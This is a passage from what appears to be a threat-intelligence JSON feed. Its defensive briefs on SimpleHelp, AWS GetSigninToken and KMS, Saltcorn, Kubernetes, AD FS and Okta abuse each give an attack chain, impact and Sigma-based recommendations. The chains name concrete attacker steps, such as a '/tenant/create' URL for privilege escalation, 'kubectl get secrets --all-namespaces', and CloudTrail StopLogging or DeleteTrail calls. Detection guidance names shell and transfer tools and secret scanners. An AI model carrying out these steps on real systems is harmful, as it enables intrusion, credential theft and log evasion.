SimpleHelp versions 5.5.7 and earlier (reference: \u003ca href=\"https://simple-help.com/kb---security-vulnerabilities-01-2025#security-vulnerabilities-in-simplehelp-5-5-7-and-earlier)\"\u003ehttps://simple-help.com/kb---security-vulnerabilities-01-2025#security-vulnerabilities-in-simplehelp-5-5-7-and-earlier)\u003c/a\u003e.\u003c/li\u003e\n\u003cli\u003eDeploy the Sigma rule \u003ccode\u003eDetect Suspicious SimpleHelp API Key Creation\u003c/code\u003e to identify attempts to create API keys with excessive permissions.\u003c/li\u003e\n\u003cli\u003eFollow applicable BOD 22-01 guidance for cloud services or discontinue use of SimpleHelp if mitigations are unavailable.\u003c/li\u003e\n\u003c/ul\u003e\n","date_modified":"2024-06-25T12:00:00Z","date_published":"2024-06-25T12:00:00Z","id":"/briefs/2024-06-simplehelp-privesc/","summary":"A missing authorization vulnerability in SimpleHelp (CVE-2024-57726) allows low-privileged technicians to create API keys with excessive permissions, potentially escalating privileges to the server admin role.","title":"SimpleHelp Missing Authorization Vulnerability Leads to Privilege Escalation","url":"https://feed.craftedsignal.io/briefs/2024-06-simplehelp-privesc/"},{"_cs_actors":[],"_cs_cves":[],"_cs_exploited":false,"_cs_products":["AWS CloudTrail"],"_cs_severities":["medium"],"_cs_tags":["aws","cloud","lateral-movement","credential-access"],"_cs_type":"advisory","_cs_vendors":["Amazon"],"content_html":"\u003cp\u003eThe AWS GetSigninToken API, typically used for legitimate console access, can be abused by attackers to generate temporary, federated credentials. This technique, often facilitated by tools like \u003ccode\u003eaws_consoler\u003c/code\u003e, allows attackers to obfuscate the compromised access keys used to generate the tokens. By pivoting from the AWS CLI to console sessions with these temporary credentials, adversaries bypass MFA requirements and complicate forensic investigations. This activity is crucial for defenders to monitor, especially in environments not configured for AWS SSO, as it can indicate unauthorized access and lateral movement within the AWS infrastructure. The tool \u003ccode\u003eaws_consoler\u003c/code\u003e is specifically designed to automate this process, creating a streamlined path for malicious actors to leverage compromised credentials for further exploitation.\u003c/p\u003e\n\u003ch2 id=\"attack-chain\"\u003eAttack Chain\u003c/h2\u003e\n\u003col\u003e\n\u003cli\u003eAn attacker gains initial access to AWS environment using compromised credentials (access key, secret key).\u003c/li\u003e\n\u003cli\u003eThe attacker uses the compromised credentials with the AWS CLI or SDK to call the \u003ccode\u003eGetSigninToken\u003c/code\u003e API.\u003c/li\u003e\n\u003cli\u003eAWS CloudTrail logs the \u003ccode\u003eGetSigninToken\u003c/code\u003e event with the event source \u003ccode\u003esignin.amazonaws.com\u003c/code\u003e and event name \u003ccode\u003eGetSigninToken\u003c/code\u003e.\u003c/li\u003e\n\u003cli\u003eThe \u003ccode\u003eGetSigninToken\u003c/code\u003e API returns a temporary sign-in token.\u003c/li\u003e\n\u003cli\u003eThe attacker uses the temporary token along with the AWS account ID to construct a sign-in URL.\u003c/li\u003e\n\u003cli\u003eThe attacker accesses the AWS Management Console via the crafted URL, bypassing MFA if the original compromised credentials required it.\u003c/li\u003e\n\u003cli\u003eOnce in the console, the attacker performs reconnaissance, identifies valuable resources, and escalates privileges as needed.\u003c/li\u003e\n\u003cli\u003eThe attacker moves laterally within the AWS environment, accessing and potentially exfiltrating sensitive data, or disrupting services.\u003c/li\u003e\n\u003c/ol\u003e\n\u003ch2 id=\"impact\"\u003eImpact\u003c/h2\u003e\n\u003cp\u003eSuccessful abuse of the \u003ccode\u003eGetSigninToken\u003c/code\u003e API can lead to unauthorized access to the AWS Management Console, enabling lateral movement and data exfiltration.  The obfuscation of the original compromised credentials makes incident response more difficult. While the exact number of victims is unknown, this technique has been observed in intrusions targeting telecom and BPO companies.  The impact includes potential data breaches, service disruptions, and reputational damage.\u003c/p\u003e\n\u003ch2 id=\"recommendation\"\u003eRecommendation\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eDeploy the provided Sigma rule to your SIEM to detect suspicious \u003ccode\u003eGetSigninToken\u003c/code\u003e events in AWS CloudTrail logs.\u003c/li\u003e\n\u003cli\u003eInvestigate any \u003ccode\u003eGetSigninToken\u003c/code\u003e events originating from outside of expected AWS SSO user agents or other known legitimate sources.\u003c/li\u003e\n\u003cli\u003eMonitor AWS CloudTrail logs for \u003ccode\u003eGetSigninToken\u003c/code\u003e events where the requesting user identity does not match expected patterns.\u003c/li\u003e\n\u003cli\u003eImplement and enforce MFA for all AWS IAM users, even though this attack bypasses it for console access using the temporary tokens.\u003c/li\u003e\n\u003cli\u003eReview and restrict IAM policies to adhere to the principle of least privilege, minimizing the potential impact of compromised credentials.\u003c/li\u003e\n\u003c/ul\u003e\n","date_modified":"2024-04-29T12:00:00Z","date_published":"2024-04-29T12:00:00Z","id":"/briefs/2024-04-aws-get-signin-token-abuse/","summary":"Adversaries may abuse the AWS GetSigninToken API to create temporary federated credentials for obfuscating compromised AWS access keys and pivoting to console sessions without MFA, potentially leading to lateral movement within the AWS environment.","title":"Potential Abuse of AWS Console GetSigninToken","url":"https://feed.craftedsignal.io/briefs/2024-04-aws-get-signin-token-abuse/"},{"_cs_actors":[],"_cs_cves":[],"_cs_exploited":false,"_cs_products":["Saltcorn Data"],"_cs_severities":["high"],"_cs_tags":["privilege-escalation","web-application","cloud"],"_cs_type":"advisory","_cs_vendors":["Saltcorn"],"content_html":"\u003cp\u003eA privilege escalation vulnerability exists in Saltcorn Data, affecting versions prior to 1.4.4, versions between 1.5.0-beta.0 and 1.5.2, and versions between 1.6.0-alpha.0 and 1.6.0-beta.2. The vulnerability allows tenant administrators, who are logged out of the root domain but authenticated within their own tenant space, to create new tenants within the root domain\u0026rsquo;s database schema. This occurs because the system incorrectly evaluates the tenant\u0026rsquo;s role within the context of the root domain during tenant creation. By appending \u003ccode\u003e/tenant/create\u003c/code\u003e to their tenant URL, a tenant admin with sufficient privileges in their tenant can bypass root domain restrictions and create subtenants in the root domain.\u003c/p\u003e\n\u003ch2 id=\"attack-chain\"\u003eAttack Chain\u003c/h2\u003e\n\u003col\u003e\n\u003cli\u003eAttacker authenticates to their assigned tenant with administrator privileges.\u003c/li\u003e\n\u003cli\u003eAttacker logs out of the root domain (e.g., \u003ccode\u003esaltcorn.com\u003c/code\u003e).\u003c/li\u003e\n\u003cli\u003eAttacker navigates to the tenant-specific URL, where they have admin rights.\u003c/li\u003e\n\u003cli\u003eAttacker appends \u003ccode\u003e/tenant/create\u003c/code\u003e to the tenant URL (e.g., \u003ccode\u003etenant.saltcorn.com/tenant/create\u003c/code\u003e).\u003c/li\u003e\n\u003cli\u003eThe application evaluates the user\u0026rsquo;s role in the context of the tenant (admin role).\u003c/li\u003e\n\u003cli\u003eThe application then attempts to create a new tenant but incorrectly does so under the root domain\u0026rsquo;s \u003ccode\u003e_sc_tenants\u003c/code\u003e schema instead of the tenant\u0026rsquo;s.\u003c/li\u003e\n\u003cli\u003eThe new tenant is created in the root domain (PUBLIC SCHEMA \u0026gt; \u003ccode\u003e_sc_tenants\u003c/code\u003e).\u003c/li\u003e\n\u003cli\u003eThe attacker effectively gains the ability to create tenants in the root domain, escalating privileges.\u003c/li\u003e\n\u003c/ol\u003e\n\u003ch2 id=\"impact\"\u003eImpact\u003c/h2\u003e\n\u003cp\u003eSuccessful exploitation of this vulnerability grants tenant administrators unauthorized admin-level access to the root domain of the Saltcorn Data instance. This could lead to unauthorized modification or deletion of data within the root domain, disruption of service for all tenants hosted on the instance, and potential further escalation of privileges within the system. The advisory does not state specific victim counts or sectors targeted, but the impact is significant due to the potential for widespread disruption and data compromise.\u003c/p\u003e\n\u003ch2 id=\"recommendation\"\u003eRecommendation\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eUpgrade Saltcorn Data to a patched version (\u0026gt;= 1.4.4, \u0026gt;= 1.5.2, or \u0026gt;= 1.6.0-beta.2) to remediate the vulnerability (reference: Affected Packages).\u003c/li\u003e\n\u003cli\u003eMonitor web server logs for requests to the \u003ccode\u003e/tenant/create\u003c/code\u003e endpoint originating from tenant administrator sessions to detect potential exploitation attempts (reference: Sigma rule \u003ccode\u003eDetect Saltcorn Unauthorized Tenant Creation\u003c/code\u003e).\u003c/li\u003e\n\u003cli\u003eImplement additional server-side validation to ensure tenant creation requests are properly scoped to the originating tenant\u0026rsquo;s schema (reference: advisory summary).\u003c/li\u003e\n\u003c/ul\u003e\n","date_modified":"2024-01-30T12:00:00Z","date_published":"2024-01-30T12:00:00Z","id":"/briefs/2024-01-saltcorn-tenant-creation-vuln/","summary":"A vulnerability in Saltcorn Data allows tenant admins to gain unauthorized admin-level access to the root domain by creating tenants in the root domain's schema instead of their own.","title":"Saltcorn Data Tenant Admin Privilege Escalation via Tenant Creation","url":"https://feed.craftedsignal.io/briefs/2024-01-saltcorn-tenant-creation-vuln/"},{"_cs_actors":[],"_cs_cves":[],"_cs_exploited":false,"_cs_products":[],"_cs_severities":["medium"],"_cs_tags":["kubernetes","enumeration","cloud"],"_cs_type":"advisory","_cs_vendors":[],"content_html":"\u003cp\u003eAttackers are increasingly targeting Kubernetes environments to gain unauthorized access and extract sensitive information. This activity often begins with enumeration and reconnaissance to map out the cluster\u0026rsquo;s configuration, identify potential vulnerabilities, and locate valuable secrets. This involves the use of standard command-line tools and specialized Kubernetes utilities. Audit logs provide a valuable record of these enumeration attempts, particularly API requests containing shell commands, file transfer utilities, or tools like Rakkess and TruffleHog. This activity is typically aimed at reconnaissance, secret harvesting, or code execution within the cluster. Detecting these patterns in audit logs is critical for identifying and responding to potential breaches.\u003c/p\u003e\n\u003ch2 id=\"attack-chain\"\u003eAttack Chain\u003c/h2\u003e\n\u003col\u003e\n\u003cli\u003eAttacker gains initial access to a system with Kubernetes API access, potentially through compromised credentials or a vulnerable application.\u003c/li\u003e\n\u003cli\u003eThe attacker authenticates to the Kubernetes API server.\u003c/li\u003e\n\u003cli\u003eThe attacker sends a request to the Kubernetes API to execute a shell within a pod, such as \u003ccode\u003e/bin/bash\u003c/code\u003e or \u003ccode\u003e/bin/sh\u003c/code\u003e, potentially URL-encoded.\u003c/li\u003e\n\u003cli\u003eThe attacker uses \u003ccode\u003ekubectl\u003c/code\u003e within a pod to gather information about cluster resources, such as pods, services, and deployments.\u003c/li\u003e\n\u003cli\u003eThe attacker attempts to download tools like \u003ccode\u003ecurl\u003c/code\u003e or \u003ccode\u003ewget\u003c/code\u003e into a pod to facilitate further reconnaissance or lateral movement.\u003c/li\u003e\n\u003cli\u003eThe attacker uses tools like \u003ccode\u003eRakkess\u003c/code\u003e to enumerate role-based access control (RBAC) permissions to identify potential privilege escalation paths.\u003c/li\u003e\n\u003cli\u003eThe attacker deploys \u003ccode\u003eTruffleHog\u003c/code\u003e to scan pod environments for exposed secrets, such as API keys and passwords.\u003c/li\u003e\n\u003cli\u003eThe attacker exfiltrates gathered information and secrets or uses the gained access for lateral movement within the cluster or connected networks.\u003c/li\u003e\n\u003c/ol\u003e\n\u003ch2 id=\"impact\"\u003eImpact\u003c/h2\u003e\n\u003cp\u003eSuccessful enumeration of a Kubernetes cluster can provide attackers with detailed information about the cluster\u0026rsquo;s architecture, deployed applications, and security configurations. This allows attackers to identify vulnerabilities, escalate privileges, and gain access to sensitive data, such as API keys, passwords, and other secrets. This can lead to data breaches, service disruptions, and compromised infrastructure. The impact can range from a limited data exposure to a full-scale compromise of the entire Kubernetes environment and connected cloud resources.\u003c/p\u003e\n\u003ch2 id=\"recommendation\"\u003eRecommendation\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eDeploy the \u0026ldquo;Kubernetes Potential Enumeration Activity\u0026rdquo; Sigma rule to your SIEM to detect suspicious API requests containing shell commands, file transfer utilities, or specialized tools (Sigma rule).\u003c/li\u003e\n\u003cli\u003eInvestigate any alerts triggered by the Sigma rule to determine the scope and impact of the potential enumeration activity.\u003c/li\u003e\n\u003cli\u003eReview and harden RBAC configurations to minimize the potential for privilege escalation (attack.t1609).\u003c/li\u003e\n\u003cli\u003eImplement strict network segmentation to limit lateral movement within the cluster and connected networks.\u003c/li\u003e\n\u003cli\u003eRegularly scan pods for exposed secrets using dedicated secret scanning tools and enforce secure secret management practices.\u003c/li\u003e\n\u003cli\u003eMonitor Kubernetes audit logs for unusual or unauthorized API activity (logsource: kubernetes, service: audit).\u003c/li\u003e\n\u003c/ul\u003e\n","date_modified":"2024-01-29T12:00:00Z","date_published":"2024-01-29T12:00:00Z","id":"/briefs/2024-01-kubernetes-enumeration/","summary":"Attackers attempt to enumerate and discover sensitive information within a Kubernetes cluster by leveraging common shells, utilities, and specialized tools, as reflected in audit logs.","title":"Kubernetes Cluster Enumeration via Audit Logs","url":"https://feed.craftedsignal.io/briefs/2024-01-kubernetes-enumeration/"},{"_cs_actors":[],"_cs_cves":[],"_cs_exploited":false,"_cs_products":["Azure Active Directory","AD FS"],"_cs_severities":["medium"],"_cs_tags":["cloud","azure","adfs","defense-impairment"],"_cs_type":"advisory","_cs_vendors":["Microsoft"],"content_html":"\u003cp\u003eThis threat involves the creation of a rogue AD FS service instance within the Azure AD Hybrid Health Service to spoof AD FS signing logs. The attacker leverages the Azure AD Hybrid Health Service to create a new AD FS service and adds a fake server instance. This method allows the attacker to manipulate AD FS logging information without needing to compromise an on-premises AD FS server. The attack can be performed programmatically through HTTP requests to Azure, making it scalable and difficult to trace back to traditional on-premises attack vectors. This technique is particularly concerning because it undermines the integrity of AD FS logs, a crucial component for security monitoring and incident response.\u003c/p\u003e\n\u003ch2 id=\"attack-chain\"\u003eAttack Chain\u003c/h2\u003e\n\u003col\u003e\n\u003cli\u003e\u003cstrong\u003eCompromise Azure Account:\u003c/strong\u003e The attacker gains access to an Azure account, potentially through stolen credentials or exploiting a vulnerability.\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eProvision Rogue AD Health Service:\u003c/strong\u003e The attacker programmatically provisions a new AD Health Service within the compromised Azure environment, specifically targeting AD FS.\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eCreate Fake Server Instance:\u003c/strong\u003e Within the newly created AD Health Service, the attacker creates a fake server instance, mimicking a legitimate AD FS server. The \u003ccode\u003eResourceId\u003c/code\u003e will contain \u003ccode\u003eAdFederationService\u003c/code\u003e.\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eManipulate Logs:\u003c/strong\u003e Using the fake server instance, the attacker injects or alters AD FS signing logs, creating a false narrative of user authentication events.\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eImpersonate Users/Bypass Authentication:\u003c/strong\u003e The attacker uses the manipulated logs to impersonate legitimate users or bypass authentication controls in applications relying on AD FS.\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eLateral Movement/Privilege Escalation:\u003c/strong\u003e Using the falsely acquired credentials or authentication tokens, the attacker moves laterally within the network, escalating privileges to access sensitive resources.\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eData Exfiltration/System Compromise:\u003c/strong\u003e The attacker exfiltrates sensitive data or gains control over critical systems using the compromised accounts and manipulated logs.\u003c/li\u003e\n\u003c/ol\u003e\n\u003ch2 id=\"impact\"\u003eImpact\u003c/h2\u003e\n\u003cp\u003eSuccessful exploitation allows attackers to spoof AD FS signing logs, potentially leading to unauthorized access, data breaches, and system compromise. The compromised logs can be used to cover the attacker\u0026rsquo;s tracks, making detection and incident response more difficult. Organizations relying on Azure AD Hybrid Health for AD FS monitoring are at risk of having their security posture undermined. The number of potential victims is substantial, as many organizations use AD FS for authentication and rely on its logs for security monitoring.\u003c/p\u003e\n\u003ch2 id=\"recommendation\"\u003eRecommendation\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eDeploy the Sigma rule \u003ccode\u003eAzure Active Directory Hybrid Health AD FS New Server\u003c/code\u003e to your SIEM to detect the creation of new AD FS server instances within the Azure AD Hybrid Health Service. Tune the rule for your environment to minimize false positives.\u003c/li\u003e\n\u003cli\u003eMonitor Azure Activity Logs for any unusual activity related to the \u003ccode\u003eMicrosoft.ADHybridHealthService\u003c/code\u003e resource provider and the \u003ccode\u003eMicrosoft.ADHybridHealthService/services/servicemembers/action\u003c/code\u003e operation, specifically the \u003ccode\u003eAdministrative\u003c/code\u003e category.\u003c/li\u003e\n\u003cli\u003eReview and validate all AD FS server instances registered within the Azure AD Hybrid Health Service to ensure their legitimacy.\u003c/li\u003e\n\u003cli\u003eImplement multi-factor authentication (MFA) for all Azure accounts to prevent unauthorized access and mitigate the risk of initial compromise.\u003c/li\u003e\n\u003c/ul\u003e\n","date_modified":"2024-01-23T12:00:00Z","date_published":"2024-01-23T12:00:00Z","id":"/briefs/2024-01-23-azuread-adfs-spoofing/","summary":"A threat actor can create a new, rogue AD Health ADFS service within Azure and then create a fake server instance, which can be leveraged to spoof AD FS signing logs without compromising on-prem AD FS servers.","title":"Spoofing AD FS Signing Logs via Azure AD Hybrid Health Service","url":"https://feed.craftedsignal.io/briefs/2024-01-23-azuread-adfs-spoofing/"},{"_cs_actors":[],"_cs_cves":[],"_cs_exploited":false,"_cs_products":["AWS CloudTrail"],"_cs_severities":["medium"],"_cs_tags":["defense-impairment","cloud"],"_cs_type":"advisory","_cs_vendors":["Amazon"],"content_html":"\u003cp\u003eAWS CloudTrail is a service that enables governance, compliance, operational auditing, and risk auditing of your AWS account. By recording API calls, CloudTrail provides a history of AWS account activity, including actions taken through the AWS Management Console, AWS SDKs, command line tools, and other AWS services. Attackers may attempt to disable or modify CloudTrail logging to remove traces of their malicious activity, hindering incident response and forensic investigations. This brief focuses on detecting actions that stop logging, update the trail configuration, or delete the trail altogether. These actions directly impact an organization\u0026rsquo;s ability to detect and respond to security incidents within their AWS environment.\u003c/p\u003e\n\u003ch2 id=\"attack-chain\"\u003eAttack Chain\u003c/h2\u003e\n\u003col\u003e\n\u003cli\u003eAn attacker gains unauthorized access to an AWS account with sufficient privileges.\u003c/li\u003e\n\u003cli\u003eThe attacker authenticates to the AWS environment using compromised credentials or an exploited IAM role.\u003c/li\u003e\n\u003cli\u003eThe attacker executes the \u003ccode\u003eStopLogging\u003c/code\u003e API call against the CloudTrail service, effectively halting the recording of events.\u003c/li\u003e\n\u003cli\u003eAlternatively, the attacker may execute the \u003ccode\u003eUpdateTrail\u003c/code\u003e API call to modify the CloudTrail configuration. This could involve changing the S3 bucket destination, disabling log file validation, or altering event selectors to exclude specific events.\u003c/li\u003e\n\u003cli\u003eAs another option, the attacker may execute the \u003ccode\u003eDeleteTrail\u003c/code\u003e API call, completely removing the CloudTrail configuration from the AWS account.\u003c/li\u003e\n\u003cli\u003eAfter disabling, modifying, or deleting the trail, the attacker proceeds with their malicious activities, knowing that their actions are less likely to be recorded and detected.\u003c/li\u003e\n\u003cli\u003eThe attacker may then attempt to further obfuscate their activities by deleting or modifying any remaining log data.\u003c/li\u003e\n\u003c/ol\u003e\n\u003ch2 id=\"impact\"\u003eImpact\u003c/h2\u003e\n\u003cp\u003eDisabling or modifying CloudTrail logging can have severe consequences. It impairs an organization\u0026rsquo;s ability to detect and respond to security incidents in their AWS environment. Without proper logging, incident responders may struggle to determine the scope and impact of a breach, leading to delayed or ineffective remediation efforts. The inability to audit user activity can also hinder compliance efforts and potentially lead to regulatory penalties.\u003c/p\u003e\n\u003ch2 id=\"recommendation\"\u003eRecommendation\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eDeploy the provided Sigma rule to your SIEM to detect \u003ccode\u003eStopLogging\u003c/code\u003e, \u003ccode\u003eUpdateTrail\u003c/code\u003e, and \u003ccode\u003eDeleteTrail\u003c/code\u003e events in CloudTrail logs.\u003c/li\u003e\n\u003cli\u003eImplement multi-factor authentication (MFA) for all AWS accounts, especially those with administrative privileges, to reduce the risk of unauthorized access.\u003c/li\u003e\n\u003cli\u003eMonitor AWS CloudTrail logs for unexpected changes to IAM policies, which could grant excessive permissions to attackers.\u003c/li\u003e\n\u003cli\u003eEnable log file validation to ensure the integrity of CloudTrail logs.\u003c/li\u003e\n\u003cli\u003eUse AWS Config to monitor CloudTrail configuration and alert on any deviations from the desired state.\u003c/li\u003e\n\u003cli\u003eReview AWS documentation on security best practices for AWS CloudTrail to ensure proper configuration and monitoring.\u003c/li\u003e\n\u003c/ul\u003e\n","date_modified":"2024-01-23T12:00:00Z","date_published":"2024-01-23T12:00:00Z","id":"/briefs/2024-01-aws-cloudtrail-disable-logging/","summary":"Detection of AWS CloudTrail being disabled, deleted, or updated by an adversary to impair defenses and evade detection.","title":"AWS CloudTrail Logging Disabled or Modified","url":"https://feed.craftedsignal.io/briefs/2024-01-aws-cloudtrail-disable-logging/"},{"_cs_actors":[],"_cs_cves":[],"_cs_exploited":false,"_cs_products":["KMS"],"_cs_severities":["medium"],"_cs_tags":["cloud","aws","kms","privilege-escalation","defense-evasion"],"_cs_type":"advisory","_cs_vendors":["Amazon"],"content_html":"\u003cp\u003eThis rule detects the successful execution of the \u003ccode\u003ePutKeyPolicy\u003c/code\u003e API call within Amazon Web Services Key Management Service (AWS KMS). The \u003ccode\u003ePutKeyPolicy\u003c/code\u003e action replaces the entire key policy associated with a KMS key, potentially granting new or expanded permissions to principals. An adversary who gains the ability to modify KMS key policies (\u003ccode\u003ekms:PutKeyPolicy\u003c/code\u003e) can escalate privileges by adding external accounts or roles, allowing them to decrypt data protected by the key or maintain persistent access even after credential rotation. This activity is crucial to monitor, as it can lead to significant data breaches and unauthorized access to sensitive information. The rule focuses on identifying deviations from expected KMS key policy management practices to detect potentially malicious activity.\u003c/p\u003e\n\u003ch2 id=\"attack-chain\"\u003eAttack Chain\u003c/h2\u003e\n\u003col\u003e\n\u003cli\u003eAn attacker compromises an AWS account or obtains IAM credentials with sufficient permissions, including \u003ccode\u003ekms:PutKeyPolicy\u003c/code\u003e on a target KMS key.\u003c/li\u003e\n\u003cli\u003eThe attacker uses the compromised credentials to call the \u003ccode\u003ePutKeyPolicy\u003c/code\u003e API, replacing the existing key policy with a modified version.\u003c/li\u003e\n\u003cli\u003eThe modified key policy grants the attacker\u0026rsquo;s AWS account, or an external account, permissions to perform cryptographic operations on the key, such as \u003ccode\u003ekms:Decrypt\u003c/code\u003e or \u003ccode\u003ekms:GenerateDataKey\u003c/code\u003e.\u003c/li\u003e\n\u003cli\u003eThe attacker utilizes the newly granted permissions to decrypt data encrypted with the KMS key, such as data stored in S3 buckets or EBS volumes.\u003c/li\u003e\n\u003cli\u003eThe attacker may also grant administrative actions to new identities.\u003c/li\u003e\n\u003cli\u003eThe attacker exfiltrates the decrypted data to an external location.\u003c/li\u003e\n\u003cli\u003eThe attacker attempts to cover their tracks by deleting CloudTrail logs or modifying other security configurations.\u003c/li\u003e\n\u003c/ol\u003e\n\u003ch2 id=\"impact\"\u003eImpact\u003c/h2\u003e\n\u003cp\u003eSuccessful exploitation can lead to unauthorized access to sensitive data encrypted with the KMS key, potentially resulting in data breaches, financial loss, and reputational damage. The severity depends on the sensitivity of the data protected by the key and the scope of access granted to the attacker. This can impact organizations across various sectors that rely on AWS KMS for data encryption, potentially affecting millions of records and causing significant operational disruption.\u003c/p\u003e\n\u003ch2 id=\"recommendation\"\u003eRecommendation\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eDeploy the Sigma rule \u0026ldquo;AWS KMS Key Policy Updated via PutKeyPolicy\u0026rdquo; to your SIEM and tune for your environment to detect unauthorized modifications to KMS key policies.\u003c/li\u003e\n\u003cli\u003eReview the policy document diff in \u003ccode\u003eaws.cloudtrail.request_parameters\u003c/code\u003e and \u003ccode\u003eaws.cloudtrail.response_elements\u003c/code\u003e to identify unauthorized changes to principals.\u003c/li\u003e\n\u003cli\u003eRestrict the \u003ccode\u003ekms:PutKeyPolicy\u003c/code\u003e permission to break-glass roles only, limiting the potential for unauthorized modifications.\u003c/li\u003e\n\u003cli\u003eMonitor \u003ccode\u003eiam:AttachRolePolicy\u003c/code\u003e and \u003ccode\u003ests:AssumeRole\u003c/code\u003e events to correlate with potential privilege escalation attempts related to KMS key access.\u003c/li\u003e\n\u003cli\u003eRestore a known-good KMS policy from backup or IAM/KMS change history to remediate unauthorized modifications.\u003c/li\u003e\n\u003c/ul\u003e\n","date_modified":"2024-01-22T18:23:00Z","date_published":"2024-01-22T18:23:00Z","id":"/briefs/2024-01-aws-kms-key-policy-put/","summary":"Detection of successful PutKeyPolicy calls on AWS KMS keys to identify potential privilege escalation or unauthorized access by adversaries modifying key policies to decrypt or exfiltrate data.","title":"AWS KMS Key Policy Updated via PutKeyPolicy","url":"https://feed.craftedsignal.io/briefs/2024-01-aws-kms-key-policy-put/"},{"_cs_actors":[],"_cs_cves":[],"_cs_exploited":false,"_cs_products":["kubernetes"],"_cs_severities":["medium"],"_cs_tags":["kubernetes","credential-access","cloud"],"_cs_type":"advisory","_cs_vendors":[],"content_html":"\u003cp\u003eThis detection rule identifies suspicious Kubernetes API access patterns indicative of credential access. Specifically, it focuses on \u003ccode\u003eget\u003c/code\u003e or \u003ccode\u003elist\u003c/code\u003e operations targeting the \u003ccode\u003esecrets\u003c/code\u003e resource performed by node identities (\u003ccode\u003esystem:node:*\u003c/code\u003e) or pod service accounts (\u003ccode\u003esystem:serviceaccount:*\u003c/code\u003e). Attackers who have compromised a pod service account or node credentials might attempt to enumerate secrets to discover sensitive information such as tokens, registry credentials, TLS keys, or application configurations. While legitimate controllers may read secrets, direct access from node or pod service accounts warrants investigation, especially when cross-namespace or involving high-value secrets. The rule is intended to be triaged based on namespace scope, user agent, RBAC, and relevance of the identity to the accessed secret.\u003c/p\u003e\n\u003ch2 id=\"attack-chain\"\u003eAttack Chain\u003c/h2\u003e\n\u003col\u003e\n\u003cli\u003eAttacker gains initial access to a Kubernetes cluster, possibly through compromising a pod or node.\u003c/li\u003e\n\u003cli\u003eAttacker obtains credentials for a service account associated with the compromised pod or accesses node credentials.\u003c/li\u003e\n\u003cli\u003eAttacker uses the stolen credentials to authenticate against the Kubernetes API.\u003c/li\u003e\n\u003cli\u003eThe attacker attempts to enumerate secrets within the cluster using \u003ccode\u003ekubectl get secrets --all-namespaces\u003c/code\u003e or similar API calls.\u003c/li\u003e\n\u003cli\u003eThe Kubernetes API server receives the request and generates an audit log entry.\u003c/li\u003e\n\u003cli\u003eThis audit log entry contains details such as the user (\u003ccode\u003esystem:node:*\u003c/code\u003e or \u003ccode\u003esystem:serviceaccount:*\u003c/code\u003e), the action (\u003ccode\u003eget\u003c/code\u003e or \u003ccode\u003elist\u003c/code\u003e), and the resource (\u003ccode\u003esecrets\u003c/code\u003e).\u003c/li\u003e\n\u003cli\u003eThe attacker identifies valuable secrets containing sensitive information such as API keys or database passwords.\u003c/li\u003e\n\u003cli\u003eAttacker exfiltrates the secrets, gaining unauthorized access to other systems or data.\u003c/li\u003e\n\u003c/ol\u003e\n\u003ch2 id=\"impact\"\u003eImpact\u003c/h2\u003e\n\u003cp\u003eCompromised Kubernetes secrets can lead to a wide range of security breaches, including unauthorized access to sensitive data, lateral movement within the cluster, and compromised external services that rely on the exposed credentials. If successful, attackers could gain complete control over the cluster and its applications, leading to data breaches, service disruption, and reputational damage. The risk is elevated in environments where secrets are not properly managed or where RBAC is overly permissive.\u003c/p\u003e\n\u003ch2 id=\"recommendation\"\u003eRecommendation\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eDeploy the provided Sigma rule to your SIEM to detect unauthorized secret access attempts by node or pod service accounts in Kubernetes audit logs.\u003c/li\u003e\n\u003cli\u003eReview RBAC configurations to ensure least privilege for service accounts and nodes, limiting their access to only necessary secrets.\u003c/li\u003e\n\u003cli\u003eInvestigate any alerts generated by the Sigma rule, focusing on cross-namespace access, high-value secret names, and unusual user agents.\u003c/li\u003e\n\u003cli\u003eImplement a process for regularly rotating secrets and auditing access to sensitive resources within the Kubernetes cluster.\u003c/li\u003e\n\u003cli\u003eBaseline normal secret access patterns for in-cluster operators, CSI drivers, and GitOps agents, and create allowlists to reduce false positives.\u003c/li\u003e\n\u003c/ul\u003e\n","date_modified":"2024-01-03T18:22:00Z","date_published":"2024-01-03T18:22:00Z","id":"/briefs/2024-01-kubernetes-secret-access/","summary":"This rule detects Kubernetes audit events where a node or pod service account attempts to read secrets directly, which is often a sign of credential access.","title":"Kubernetes Secret Access by Node or Pod Service Account","url":"https://feed.craftedsignal.io/briefs/2024-01-kubernetes-secret-access/"},{"_cs_actors":[],"_cs_cves":[],"_cs_exploited":false,"_cs_products":["Okta"],"_cs_severities":["high"],"_cs_tags":["identity","cloud","okta","initial-access"],"_cs_type":"advisory","_cs_vendors":["Okta"],"content_html":"\u003cp\u003eAttackers frequently use proxy infrastructure (VPNs, Tor, residential proxies) to mask their origin when using stolen credentials. This behavior often triggers additional detection rules after the initial authentication. By correlating the first instance of Okta user authentication via a proxy with subsequent Okta security alerts for the same user, this rule aims to identify potentially compromised accounts. This correlation focuses on activity within a 30-minute window following the initial proxy authentication, helping to pinpoint users whose proxy-based authentication was followed by suspicious activity. The rule leverages Okta system logs and alerts to identify these patterns. This is important for defenders to quickly identify compromised accounts and prevent further damage.\u003c/p\u003e\n\u003ch2 id=\"attack-chain\"\u003eAttack Chain\u003c/h2\u003e\n\u003col\u003e\n\u003cli\u003eAn attacker obtains valid Okta credentials through phishing, credential stuffing, or other means. (T1078)\u003c/li\u003e\n\u003cli\u003eThe attacker initiates an Okta user session from behind a proxy (VPN, Tor, etc.) to mask their origin.\u003c/li\u003e\n\u003cli\u003eOkta classifies the connection as originating from a proxy.\u003c/li\u003e\n\u003cli\u003eThe user successfully authenticates and starts a session.\u003c/li\u003e\n\u003cli\u003ePost-authentication, the attacker attempts to access sensitive applications or data. (T1078.004)\u003c/li\u003e\n\u003cli\u003eThe attacker\u0026rsquo;s activity triggers an Okta security alert, such as unusual access patterns or MFA bypass attempts.\u003c/li\u003e\n\u003cli\u003eThe detection rule correlates the proxy authentication event with the subsequent security alert.\u003c/li\u003e\n\u003cli\u003eSecurity team investigates and 